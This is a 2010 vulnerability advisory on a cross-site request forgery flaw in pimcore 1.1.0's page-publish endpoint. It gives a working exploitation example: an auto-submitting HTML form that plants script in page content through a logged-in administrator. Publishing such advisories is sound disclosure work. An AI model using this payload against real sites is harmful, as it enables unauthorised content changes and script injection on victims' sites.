Total Tests:

Cross-site Request Forgery (CSRF) in pimcore

Advisory ID:HTB22562
Product:pimcore
Vendor:elements.at New Media Solutions GmbH.
Vulnerable Versions:1.1.0 and probably prior
Tested Version:1.1.0
Advisory Publication:August 2, 2010 [without technical details]
Vendor Notification:August 2, 2010
Public Disclosure:August 16, 2010
Latest Update:August 18, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in pimcore which could be exploited to perform cross-site request forgery attacks.

1) Cross-site Request Forgery (CSRF) in pimcore
The vulnerability exists due to insufficient validation of the request origin in /admin/page/save/task/publish. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and execute arbitrary HTML and script code in user`s browser in context of the vulnerable site. Successful exploitation requires that victim is logged-in and has access to administrative interface.
Exploitation example:
<form action="http://host/admin/page/save/task/publish" method="post" name="main" >
<input type="hidden" name="data" value='{"headernote": {"data": "Powerful CMS"><script>alert(document.cookie)</script>", "type": "textarea"}, "headline": {"data": "The truth about pimcore", "type": "input"}, "contentblock": {"data": ["1"], "type": "block"}, "blocktypecontentblock1": {"data": null, "type": "select"}, "sublinecontentblock1": {"data": "Content management ala pimcore", "type": "input"}, "contentcontentblock1": {"data": "<p>\n\tPimcore</p>\n\"><script>alert(document.cookie)</script>", "type": "wysiwyg"}}' />
<input type="hidden" name="id" value="1440" />
</form>
<script>
document.main.submit();
</script>

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22562 - https://www.immuniweb.com/advisory/HTB22562 - Cross-site Request Forgery (CSRF) in pimcore
[2] pimcore - pimcore.org - pimcore is an open-source powerful and robust web-based content and product information management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a technical question?

Our security experts will answer within
one business day. No obligations.

Have a sales question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
Your data will stay private and confidential